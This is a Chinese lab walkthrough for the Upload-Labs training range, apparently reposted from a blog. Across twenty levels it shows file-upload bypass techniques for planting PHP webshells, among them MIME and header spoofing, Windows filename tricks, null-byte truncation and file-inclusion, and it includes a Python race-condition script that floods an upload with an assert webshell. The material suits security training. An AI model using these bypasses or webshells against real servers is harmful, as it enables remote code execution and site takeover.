Upload-Labs靶场闯关

文章目录

  • Pass-01
  • Pass-02
  • Pass-03
  • Pass-04
  • Pass-05
  • Pass-06
  • Pass-07
  • Pass-08
  • Pass-09
  • Pass-10
  • Pass-11
  • Pass-12
  • Pass-13
  • Pass-14
  • Pass-15
  • Pass-16
  • Pass-17
  • Pass-18
  • Pass-19
  • Pass-20


以下是文件上传绕过的各种思路,不过是鄙人做题记下来的一些思路笔记罢了。


GitHub靶场环境下载:upload-labs


Pass-01

先传一个图片过去,成功上传。
image
尝试传muma过去,提示失败,但是这个提示是在前端直接显示出来的,好像并没有发送请求过去。
image
尝试找到前端校验代码,直接在开发者模式将其js调用的函数删掉。
image
image
然后再次尝试上传木马,上传成功了
image
直接看服务端也是上传成功了。
image

Pass-02

观察前端也是有之前的第一关的前端校验,删除后直接尝试上传木马。

发现上传失败。
image
image
可以看到前端代码我们通过了,但是后端可能又校验没有通过,所以抓包观察一下。

  • 首先尝试修改content-type是否能够上传过去。

    Content-Type: image/jpg
    image
    可以看得到还是失败了。
    image
    可能jpg不行,那试试png?
    还真过去了!现在就是直接找到回显的这个路径直接连接就行了。因为这个回显的路径和文件名都是php,也能够直接访问,然后也被当成php执行了里面的木马代码。
    image

我很纳闷为什么jpg不行,难道jpg列入黑名单了?那就showcode看看

原来是jpg没有进白名单,所以有时候多尝试几个mime头还是OK的。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}

但是我仔细一想,发现要是我一开始就先尝试看看哪种文件能够上传成功那就和自己对着能够上传过去的文件进行修改不就好了吗?我重新尝试了一下上传jpg图片看看是不是真的没法上传,但是意外上传成功了!?
image
后面再另外上传一个伪装jpg一抓包发现,原来jpg图片现在的mime头都是JPEG了。。。。原来是我的问题。。。。
image

Pass-03

先传一个带木马的jpg文件看看过不过得去
image
正常过去了
image
看下该文件路径,使用时间戳进行更改名字。但是我们的web.jpg确实过去了,很有可能没有对我内容进行检查,所以我们要抓包在文件名处做文章。
image

  • 尝试直接修改后缀名但是Content-Type为jpeg(失败了)
    image
    image

  • 首先要理解服务端保存文件名字路径的方式,他是将.前面的全当成文件名然后用时间戳替换了,.后面符合过滤条件就使用不符合就不保存返回错误提示。
    由于我们知道服务端是采用的apache,现在有如下几种手段

    • 赌一下运维人员配置不当,存在php3,php7等等也当做php文件执行了。
      (当然这一关就是这个答案,但是需要我们手动配置好)
      在http.d文件中:AddType application/x-httpd-php .php .phtml .php5

    • 双写(肯定不行,因为直接给php拦下来了,不然的话就会变成没有后缀名的时间戳文件名的文件)

    • 尝试xx.php . 或者 xx.php. .,但是都不行,因为服务端会把最后一个点的前面都当成文件名用时间戳替换掉,那么你的filename就会成为: 时间戳.

    • 大小写混合 (失败)

    • 双写
      成功但后缀名没有被替换,依旧是失败了。
      image

    • ::DATA(可能可以,因为windows刚好是服务端使用的系统)

    • 冒号: 二次传输(同理或许能行得通,因为也是针对windows系统)

    • .htaccess(试过了也失败了)

  • 上传php5后缀名,上传成功,根据回显路径访问文件。
    image
    image
    image

  • 但是在访问的时候发现版本也是一个问题,如图所示,只有非nts版本的才能够在我们http.d下添加的后缀名能够被执行,其他都是直接下载而不是执行。(当然都是在http.d下天了php5后缀名的了,只是效果不同而已)
    下面的5.5.38由于我在windowsserver2003中,他不支持就切不了。
    image

  • 重新发送一下木马
    image
    直接访问看看,访问成功了。终于结束了这场闹剧。。。。
    image

Pass-04

传一个木马图片过去看看什么情况,发现文件名没有改,然后也没有校验文件的内容
image
image
尝试::$DATA看看不行不

::$DATA失败
image
尝试windows的其他特性

  • xx.php .

    失败
    image

  • xx.php. .
    成功了!!!!!!!!!!!!!但是回显是1.php.,但是没有关系,因为windows特性是不会让文件名最后一个字符是.的,所以我们接访问1.php即可
    image
    image
    使用蚁剑连接成功
    image

  • xx.php:.jpg(这里需要二次传输)

    • 第一次:(成功了!!!!!!!!!!)
      传过去但是该文件没有内容,第一次的作用就是创建一个文件。
      image
      可以看到服务端的这个文件也是0kb
      image
    • 第二次:作用是传输文件内容进去
      这里注意传的文件名是1.<<,<<是追加符号,把内容追加到文件名为1的文件中去
      image
      看到路径是1.<<,但是没关系,接着看后面
      image
      我们现在尝试着连接一下1.php,同样是成功了!!!!!!!!!!!!
      image
      回到服务器看看怎么个事。
      果然成功将内容输入进去了,不再是0kb内容。而且里面的内容就是我们要的
      image

Pass-05

老规传一个木马图片看看怎么个事
image
正常传过去了,但是又是那一招使用时间戳把我文件重命名了。
那这样先传一个php文件抓包看看
image
直接过去肯定被拦下来了
image
现在有如下几个思路

  • 修改Content-Type (失败)

  • 修改Content-Type 和 添加文件头,比如GIF89A (失败)

  • windows特性

    • xx.php. (失败)

    • xx.php. . (成功!!!!!!!!)
      image
      注意了,我这里圈出来了我之前使用过的方法比如Content-type还是gif和文件内容中也有gif的标准头,这是因为防范一下,不然刚好服务端都考虑了这两个,不然我就吃亏了,明明一个漏洞能够找到,但就是因为你没有考虑到这种组合的情况就错失了。
      但是!!!!!!!!回去一看访问路径,惨遭滑铁卢。。。。。居然还是那一招,最后一个.号前面全部使用时间戳命名了。。
      image

再次思考一下我还有什么办法??

  • ::$DATA (失败)

  • .htaccess (还是失败)

    image
    image

  • 冒号:
    (也是失败了)
    image
    image

  • 啊难道没有办法了吗!!!!!!????
    思考了一下还能使用啥??

  • 双写绕过,感觉不太靠谱,试一试
    image
    是过去了但是后缀名没有被替换,所以还是不行
    image

  • 大小写混合使用???试一试??
    image
    啊???还真过了啊,当真是兵不厌诈。。。。然后连接了一下还真是连接成功了的。。。。
    image
    image

Pass-06

老规矩上来就上传一个木马图片,成功了,但是依旧是熟悉的时间戳
image
直接上传php木马文件肯定是不允许的,这里就不演示了。
按照我们的经验,以下是我实验的顺序

  • 大小写混合(失败)

  • 双写 (失败)

  • windows特性

    • xx.php .

      成功了。。。这么简单吗???试试连接一下也OK了,但是我不甘心,我要继续测试看其他方式行不行
      image
      在这里插入图片描述

      • xx.php. .
        失败
        image
      • xx.php::$DATA
        失败
        image
      • xx.php:.jpg
        失败
        image
  • 既然重命名了我们的.htaccess也上传不了(试过了,失败)

那就是一个xx.php .利用windows特性上传成功并成功解析木马。
查看源码发现原来如此,先是删除了末尾的点,然后变成xx.php后,strrchr就找到最后一个点然后该点后面的作为后缀名,那就是.php作为后缀名了。但是和第三关不一样的是因为这里没有将空格去掉,第三关有一个函数是: $file_name = trim($_FILES['upload_file']['name']);,所以我们的windows特性都利用失败了,只能够说通过尝试同后缀名来测试是否有运维人员的配置不当来绕过。
image

Pass-07

先传一个带马图片过去,上传成功
image
现在开始传php木马文件过去
尝试直接使用windows的特性

  • xx.php .
    居然一下子就上传成功了
    image
    同时也连接成功
    image

Pass-08

木马图片传过去,发现使用了老朋友时间戳重命名了文件。
image
由于是知道服务器使用的是windows系统,所以结合该系统特性

  • xx.php .

    失败

  • xx.php. .

    失败
    image

  • xx.php::$DATA
    成功了
    image
    过去后是这样的路径,不过没关系,在windows下就只剩下php后缀名了,按照回显的文件名进行访问即可。
    image
    连接成功
    image

  • xx.php:.jpg
    失败
    image

Pass-09

上传木马图片,成功上传。并且我们的文件名没有改变。
image
先修改一下Content-type,然后也是意料之中被拦截了。
image
在此基础上利用apache的漏洞

  • 首先不是2.2版本一下,排除xx.php.php123后缀名解析漏洞

  • 运维人员配置不当存在可解析的后缀名。(php1,php2,php3,php4…)

    已尝试:失败了

  • 上传.htaccess文件,这个因为我们上传的文件没有被改掉名字,所以是可以尝试使用.htaccess文件

    居然也失败了,是直接被列入黑名单了。
    image

  • 利用windows的其他特性

    • xx.php .
      失败
    • xx.php. .
      成功了居然,那就尝试连接一下。
      image
      同样连接成功了。
      image
  • xx.php::$DATA
    失败

  • xx.php:.jpg
    成功!!!!!
    image
    进行二次输入,也成了,那我们尝试连接一下
    image
    连接也成功了!!!(说明,1.php我是在服务器删除了才使用这个方式上传过去的,所以这个1.php就是使用windows的:.jpg方式二次传输过去的)
    image

Pass-10

上传一个木马图片,回显名字发现没有被修改,那就代表没有对文件内容进行检查。
image
上传木马php文件,抓包修改数据包
先修改一下content-type看看是否能够直接过去。
image
奇怪的就是我们的php不见了,到这里一想就想到了其实是替换掉了我们的php,我么使用双写或许就绕过了。
使用双写:成功绕过
image
成功连接上木马
image

Pass-11

上传一个木马图片,上传成功,那就代表没有对内容进行检查,还发现用了时间戳修改文件名字。
image
尝试上传php木马

  • 首先尝试抓包修改content-type
    意料之中,失败了
  • windows特性利用
    • xx.php .
      失败
    • xx.php. .
      失败
    • xx.php::$DATA
      失败
    • xx.php:.jpg
      成功上传但是文件后缀名没有修改成功
      image
  • 双写
    失败
  • 大小写混合
    失败
  • 那就结合apache漏洞的解析漏洞进行上传
    • 上传.htaccess文件
      但是这里使用了时间戳进行重命名,所以也是失败告终
    • 赌运维人员配置不当导致有文件后缀名能够当成php代码解析了。但是只允许上传这几个文件类型。也是失败了。
      image
  • apache2.2版本的话还能上传一个xx.php.jpg上去,但是我们就不是用的2.2

其实当我用出了双写和混合大小写的时候就知道这题不简单了,很有可能是时间竞争,这时候我show code一下。
好的打脸了,其实不是时间竞争,而是%00截断


$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}

看来我还是太嫩了,漏了这一茬,其实我应该再细心一点,上传一个图片过去的时候就应该要发现了,这里多了一个反斜杠。
image
还有一个线索就是我们的上传路径变成了
/uploadlabs/Pass-11/index.php?save_path=../upload/
这个就是典型的%00截断啊,你小子这么粗心这都没发现!!!!因为看到能够在客户端中给出保存的路径的时候,我们就能够通过我们自己给出的这个路径将其截断一下,刚好拿到这个save_path的时候我们就能够通过%00将其截断掉了!!!!!!!
image
OK那么事已至此,尘埃落定,事实证明了我是个菜鸟,直面事实吧。
上传一个php木马,然后我们直接在save_path加上截断就行
image
注意事项:nts版本上传失败(我这里版本切换成了5.2.17),上传的后缀名随便,真正的文件名写在%00前面,因为保存文件名的路径是使用save_path的,所以本质上这个漏洞就是判断的是我们上传的文件的后缀名,然后需要保存的路径是get请求中带过去,就是因为get这个url的目录保存路径,导致目录拼接我们的文件名的时候,我们给的目录中有截断字符,所以保存下来的就是我们的save_path目录中给出的文件名。

听懂掌声!

Pass-12

上传一个带木马的图片文件,发现成功上传,代表没有对内容进行检查,检查回显的文件名路径是是用来时间戳重命名了。
image
上传木马,抓包发现post数据包中发现有save_path在里面,我们就应该要立刻反映出来能够进行%00截断,因为是在客户端给出的参数中取出保存的路径这个漏洞必定有%00截断。
image
修改数据包将其截断,当然我们filename不能是.php后缀名,我们需要过了校验,所以使用jpg或者gif等等都无所谓,这里只是为了过后端校验罢了,我们真正保存的名字是save_path通过%00截断将其截断出来我们要保存的文件名而已,%00能够在拼接的时候截断掉后面的filename将会失效。

但是!!!!!!!!!!!!!!!!注意,这里使用的是post数据,我们%00只是在get的url中能够使用,我们%00对应的就是00,所以我们post作为正常数据的截断需要修改十六进制数据,而%00对应的十六进制数据是0x00,这就很容易了。

比如save_path=../upload/随便.php空格 ,在最后多加了一个空格,然后抓包修改的时候找到空格的十六进制将其修改为00就行,我们知道空格对应的十六进制是0x20,所以找的时候也方便,同时也让空格先占一个位置,修改的时候直接修改那个位置就行。
image
如上图所示,找到所在位置的十六进制对应的空格,然后修改为00即可
image
然后直接发送就行。(如果你burpsuite的字体是没修改过的,或许你会看到你的空格会变成一个类似口的东西在后缀名后面。这样也能够验证你修改成功了。)
image
连接一下suibian.php,成功连上。
image

Pass-13

上传一个木马图片,发现被拦下来了,所以可以笃定肯定对我们的图片内容进行检查了。
image
思路:

  • 改content-type
  • 该文件内容头部
  • 既然该关卡中写明了有文件包含漏洞,那我们直接传一个后缀名不是php的也是可以(包含的文件都会被当成php执行)

没想到改完后直接就过去了,甚至没有对我的后缀名和content-type进行核对
image
现在的任务就是利用文件包漏洞包含该路径下的1.jpg木马文件

上传过去后使用时间戳给我更改了名字而且连后缀名也改掉了,当真是无语,我给出的jpg后缀名看都不看。
image
那既然如此,在此关卡中给出的文件包含漏洞处尝试包含一下试试

这是文件包含的漏洞代码
image

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;
}else{show_source(__file__);
}
?> 

image
连接成功了。
image
这一关是文件内容头检查,所以我们的内容中添加了GIF89A就能够绕过。(代码中是读取文件的内容进行判读类型)

这一关的源代码如下:

function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin);    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    $fileType = '';    switch($typeCode){      case 255216:            $fileType = 'jpg';break;case 13780:            $fileType = 'png';break;        case 7173:            $fileType = 'gif';break;default:            $fileType = 'unknown';}    return $fileType;
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}

Pass-14

上传一个木马图片,发现对我的文件内容进行检查了
image
思路:

  • 改文件content-type
  • 文件内容头部数据添加对应的content-type类型头部
  • 上传不是php的也行,因为文件包含漏洞中包含的是php文件,只要我们上传文件内容中包含了木马代码即可。

上传成功
image
看到文件路径我也是再次无语,同样是和13关一样,我的1.php后缀名看都不看,直接使用我的content-type类型拿来作为后缀名了
image
利用文件包含漏洞包含该路径下的文件

这是文件包含漏洞的代码
image

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;
}else{show_source(__file__);
}
?> 

尝试包含木马图片
image
尝试连接木马,也是连接成功了。
image
getimagesize函数解析

<?php
// 图像文件的路径
$filename = 'example.jpg';// 获取图像信息
$imageinfo = getimagesize($filename);if ($imageinfo !== false) {// 打印图像信息echo "图像宽度: " . $imageinfo[0] . "<br>";echo "图像高度: " . $imageinfo[1] . "<br>";echo "图像类型: " . $imageinfo[2] . "<br>";echo "MIME 类型: " . $imageinfo['mime'] . "<br>";
} else {echo "无法获取图像信息。";
}
?>

image_type_to_extension函数解析,这一关的源码就是使用了上面函数返回的数组中获取下标为2的图像类型作为参数

<?php
// 图像类型
$imagetype = IMAGETYPE_JPEG;// 获取图像类型对应的文件扩展名(包含点)
$extension = image_type_to_extension($imagetype);
echo "文件扩展名(包含点):$extension<br>";// 获取图像类型对应的文件扩展名(不包含点)
$extension_without_dot = image_type_to_extension($imagetype, false);
echo "文件扩展名(不包含点):$extension_without_dot<br>";
?>

源代码如下:

结合上面两个函数的解析可以发现,这一关中其实也就是检查文件头内容判断文件的类型,我也尝试了修改各种文件后缀名和修改各种content-type发现都改变不了后缀名,只要我们的文件内容头部是正确的都能够通过校验。

比如我数据包里面文件内容头部一直都是GIF89A,然后无论我怎么修改filename的后缀名还有修改content-type的类型都没有任何影响,我的文件照样是按照gif的类型传送过去了,然后回显给我的文件后缀名也是gif。

第13关也是一样,只不过这一关中使用的是getimagesize来获取图片信息,然后通过该数组来获取图片的类型,13关只不过是通过读取文件内容来获取图片类型而已。有异曲同工之处。

function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}

Pass-15

这一关同14关操作。

Pass-16

这一关中比较总和,我们一个一个方法进行测试。

  • 传输一个图片木马,发现被拦下来,那就代表肯定是对我们的文件内容进行检查
    image
  • 抓包修改content-type和文件头内容
    出乎意料的居然没有通过
    image

这时候应该思考的是我们的内容可能二次渲染了,这些二次渲染的函数会读取我们的文件内容然后根据内容重新生成图片,如果生成成功那就存下来。(先不要考虑时间竞争问题)

  • 验证是二次渲染和赌不被清空木马代码的可能性

    我们要通过二次渲染的图片就要使用图片和木马内容进行结合,目前有两种办法

    • 使用windows/linux的系统指令对正常的图片文件和木马文件进行合并
    windows的指令:copy /b 图片.jpg+木马.txt 目标.jpg   然后就通过上传目标.jpg看看是否上传成功linux就不演示了(因为我懒)
    
    • 使用特定的工具对图片和木马进行结合(这种方法可行性较高)

    在Vstart50中的工具:VStart50\tools\漏洞利用\edjpgcom图片插入一句话工具\edjpgcom.exe
    以上的方式我已经测试了很多种,有的能够传过去,但是利用文件包含漏洞包含解析的时候会报语法错误,只能够说能够上传过去且保留下木马代码的图片叫做坚强的木马。(只能说到这渗透勉强成功和结束了)

Pass-17

上传一个图片木马,上传成功,并没有对文件内容进行校验,但是老样子使用了时间戳重命名。
image
思路:

  • 时间戳重命名的话windows特性十有八九失败,但还是要一试

    • xx.php .
    • xx.php. .
    • xx.php::$DATA
    • xx.php:.jpg
  • 没有客户端给出保存路径的参数,所以00截断不行

  • 尝试上传php1/php2/php3等等后缀名(赌一下运维人员配置不当导致漏洞的发生)

  • apache上传.htaccess也会失败,因为重命名的原因。2.2版本漏洞也不存在,使用的不再是该版本。

  • 找出文件包含漏洞直接秒了,但是这一题不可以使用前面一题目的文件包含进行作弊。

  • 双写和大小写混合,实验后同样是失败了。因为固定了后缀名允许的几个图片(jpg,png,gif)

  • 那就只剩下条件竞争了

    • 时间竞争

      这一关就是通过时间竞争,时间竞争比较容易成功,因为已经存进了服务器中,只不过不通过服务器校验的话再删除而已。

      所以只要能够访问成功一次我们上传的代码文件,能做什么事情全看我们的代码写的什么。

      改代码可以是直接创建一个shell脚本,然后后续直接访问该创建出来的脚本即可。

      具体步骤参考下面即可:

      第一种:使用burpsuite攻击器来发送大量的数据包(使用两个攻击器,一个发送一个访问)

      第二种:使用python的hackhttp模块

      #pip install hackhttp安装hackhttp模块
      #!/usr/bin/env python
      # coding:utf-8import hackhttp
      from multiprocessing.dummy import Pool as ThreadPool
      def upload(lists):hh = hackhttp.hackhttp()raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 
      Firefox/49.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/upload-labs/Pass-17/index.phpCookie: pass=17Connection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=--------------------------
      -6696274297634Content-Length: 341-----------------------------6696274297634Content-Disposition: form-data; name="upload_file"; filename="17.php"Content-Type: application/octet-stream<?php assert($_POST["LandGrey"])?>-----------------------------6696274297634Content-Disposition: form-data; name="submit"上传-----------------------------6696274297634--"""code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-/index.php',raw=raw)print(str(code) + "\r")#===========================================
      pool = ThreadPool(10)
      pool.map(upload, range(10000))
      pool.close()
      pool.join()
      
  • 重命名竞争
    重命名在18关

Pass-18

这一关是重命名竞争。很容易复现。

首先说明,我使用的是5.2.17版本,直接就能够解析这个.php.7z文件

前提需要

  • 需要白名单内有.7z(注意是白名单为.7z,不要和下面搞混)
  • apache版本需要在2.x能解析.php.7z文件。但是实测5.2.17也能够解析.php.7z文件(注意,是能够解析.php.7z)
  • 使用burpsuite快速进行发送数据包即可。如果手速不够快直接使用burpsuite攻击器进行攻击。使用其他攻击器也行。

下面演示使用burpsuite
image
可以看到直接成功了,根本没有用到攻击器(也有可能是我搭建的环境比较垃圾,删除的比较慢,所以攻击成功。)

但是注意,这里是代码开了一个小玩笑,我们上传的是1.php.7z,但是这里却是upload1.php.7z,很容易就想到是少了一个/导致路径拼接成了upload1.php.7z,(原本应该是想传到upload/1.php.7z)但是没有关系,我们上传成功了即可,现实中不会出现这种错误。
image
再次说明,我使用的是5.2.17版本,直接就能够解析这个.php.7z文件

所以现在尝试使用蚁剑连接试试,成功了。
image

Pass-19

原理同Pass-11,上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg,这里就不在演示了。

Pass-20

源码审计,源自CTF比赛的,由于实际工作中代码不可能都一样,所以审计这里就不写了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/865156.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如果只能选一款老挝语翻译工具,那么只保留《老挝语翻译通》App!一款支持老挝文OCR识别提取文字的翻译神器!

准备去探索老挝这个国家&#xff0c;语言不同怎么办&#xff1f;推荐使用《老挝语翻译通》App&#xff0c;一款专为老挝语学习者和旅行者设计的翻译和学习工具&#xff0c;让你轻松掌握老挝语&#xff0c;无需打字对着说话就能翻译的老挝语翻译通&#xff0c;一定能得到你的认可…

STM32第八课:Su-03t语音识别模块

文章目录 需求一、SU03T语音识别模块二、模块配置流程1.固件烧录2.配置串口和传输引脚3.中断函数4.double类型转换5 数据发送6.接收处理 三、该模块完整代码总结 需求 基于上次完成空气质量传感器&#xff0c;利用SU03T语音识别模块&#xff0c;实现空气质量的语音问答播报。 …

从零开始:如何设计一个现代化聊天系统

写在前面: 此博客内容已经同步到我的博客网站,如需要获得更优的阅读体验请前往https://mainjaylai.github.io/Blog/blog/system/chat-system 在当今数字化时代,聊天系统已成为我们日常生活和工作中不可或缺的一部分。从个人交流到团队协作,从客户服务到社交网络,聊天应用…

HY Lisp 读取宏(reader macro)学习

在学习HY lisp语言的时候HY编程快速入门实践课第三章 HY宏入门-CSDN博客&#xff0c;学习到了读取宏&#xff08;reader macro&#xff09;&#xff0c;尝试将其概念弄明白。 首先&#xff0c;读取宏是Lisp语言中都有的一种概念&#xff0c;所以可以通过任意一种Lisp语言的文档…

免费可视化工具如何提升智慧物流管理效率

在现代智慧物流中&#xff0c;免费可视化工具正扮演着越来越重要的角色。这些工具通过数据的可视化展示&#xff0c;使物流管理更加高效、透明和智能化。免费可视化工具可以将复杂的物流数据转换为直观的图表和图形&#xff0c;帮助管理者实时监控和分析物流运作情况&#xff0…

九浅一深Jemalloc5.3.0 -- ⑥浅*boot

目前市面上有不少分析Jemalloc老版本的博文&#xff0c;但最新版本5.3.0却少之又少。而且5.3.0的架构与5之前的版本有较大不同&#xff0c;本着“与时俱进”、“由浅入深”的宗旨&#xff0c;我将逐步分析最新release版本Jemalloc5.3.0的实现。 另外&#xff0c;单讲实现代码是…

第二证券:可转债基础知识?想玩可转债一定要搞懂的交易规则!

可转债&#xff0c;全称是“可转化公司债券”&#xff0c;是上市公司为了融资&#xff0c;向社会公众所发行的一种债券&#xff0c;具有股票和债券的双重特点&#xff0c;投资者可以选择按照发行时约定的价格将债券转化成公司一般股票&#xff0c;也可作为债券持有到期后收取本…

Load Tensor to local Nvidia GPU

0. 安装Nvidia驱动 ubuntu24.04的安装非常简单&#xff0c;在安装界面&#xff0c;选择为"图形化和其他硬件安装驱动"&#xff0c;重启后即有原版Nvidia驱动(如图Nvidia X xxx) 1.确定电脑上是否有NvidiaGPU且安装好Nvidia驱动 import torch print(torch.version…

机器学习 C++ 的opencv实现SVM图像二分类的训练 (二)【附源码】

本节讲机器学习 C 的opencv实现SVM图像二分类的训练&#xff0c;下节讲测试&#xff1a; 数据集合data内容如下&#xff1a; 下载地址为&#xff1a;https://download.csdn.net/download/hgaohr1021/89506900 #include <stdio.h> #include <time.h> #include…

【Python机器学习系列】建立决策树模型预测小麦品种(案例+源码)

这是我的第314篇原创文章。 一、引言 对于表格数据&#xff0c;一套完整的机器学习建模流程如下&#xff1a; 针对不同的数据集&#xff0c;有些步骤不适用&#xff0c;其中橘红色框为必要步骤&#xff0c;欢迎大家关注翻看我之前的一些相关文章。前面我介绍了机器学习模型的二…

开源模型应用落地-FastAPI-助力模型交互-WebSocket篇(六)

一、前言 使用 FastAPI 可以帮助我们更简单高效地部署 AI 交互业务。FastAPI 提供了快速构建 API 的能力,开发者可以轻松地定义模型需要的输入和输出格式,并编写好相应的业务逻辑。 FastAPI 的异步高性能架构,可以有效支持大量并发的预测请求,为用户提供流畅的交互体验。此外,F…

美术馆预约小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;展品信息管理&#xff0c;管理员管理&#xff0c;用户管理&#xff0c;美术馆管理&#xff0c;基础数据管理&#xff0c;论坛管理 微信端账号功能包括&#xff1a;系统首页&#xff0c;美术馆&#xff…

[C/C++] -- gdb调试与coredump

1.gdb调试 GDB&#xff08;GNU 调试器&#xff09;是一个强大的工具&#xff0c;用于调试程序。 安装 1. wget http://ftp.gnu.org/gnu/gdb/gdb-8.1.tar.gz 2. tar -zxvf gdb-8.1.1.tar.gz 3. cd gdb-8.1.1 4. ./configure 5. make 6. make install 基础用法 …

vue3.0(十六)axios详解以及完整封装方法

文章目录 axios简介1. promise2. axios特性3. 安装4. 请求方法5. 请求方法别名6. 浏览器支持情况7. 并发请求 Axios的config的配置信息1.浏览器控制台相关的请求信息&#xff1a;2.配置方法3.默认配置4.配置的优先级5.axios请求响应结果 Axios的拦截器1.请求拦截2.响应拦截3.移…

回流焊常见缺陷

不润湿(Nonwetting)/润湿不良(Poor Wetting) 通常润湿不良是指焊点焊锡合金没有很好的铺展开来,从而无法得到良好的焊点并直接影响到焊点的可靠性。 产生原因: 1. 焊盘或引脚表面的镀层被氧化,氧化层的存在阻挡了焊锡与镀层之间的接触; 2. 镀层厚度不够或是加工不良,很…

常见测试测量接口的比较:PXI、PXIe、PCI、VXI、GPIB、USB

详细比较了六种常见的测试测量接口&#xff1a;PXI、PXIe、PCI、VXI、GPIB、USB。每种接口都有其独特的特点和应用场景。通过比较它们的性能、带宽、模块化程度和应用领域&#xff0c;帮助工程师选择最适合其测试需求的接口类型。 1. PXI&#xff08;PCI eXtensions for Instru…

uboot 编译时传递参数实现条件编译

KCFLAGS make ARCHarm KCFLAGS-DENV_DEBUG CROSS_COMPILEaarch64-linux-gnu-env/sf.c env_sf_save 加入调试信息 # saveenv Saving Environment to SPI Flash... env_sf_save (1) spi_flash_erase (2) spi_flash_write is40000 Erasing SPI flash...Writing to SPI flash.…

试用笔记之-Delphi xe 微信/支付宝支付源代码

首先delphi xe 微信/支付宝支付源代码下载&#xff1a; http://www.htsoft.com.cn/download/DelphiXEWeiXin_ZhiFuBao_ZhiFu.rar 解压后可以看到源代码 直接执行可执行文件&#xff1a;

大模型技术在辅助学习中的应用

大模型技术在辅助学习中的应用场景非常广泛&#xff0c;以下是一些典型示例。大模型技术在辅助学习中具有广阔的应用前景&#xff0c;可以为学生提供更加个性化、智能化和高效的学习体验。随着大模型技术的不断发展&#xff0c;我们可以期待在未来看到更多创新应用。北京木奇移…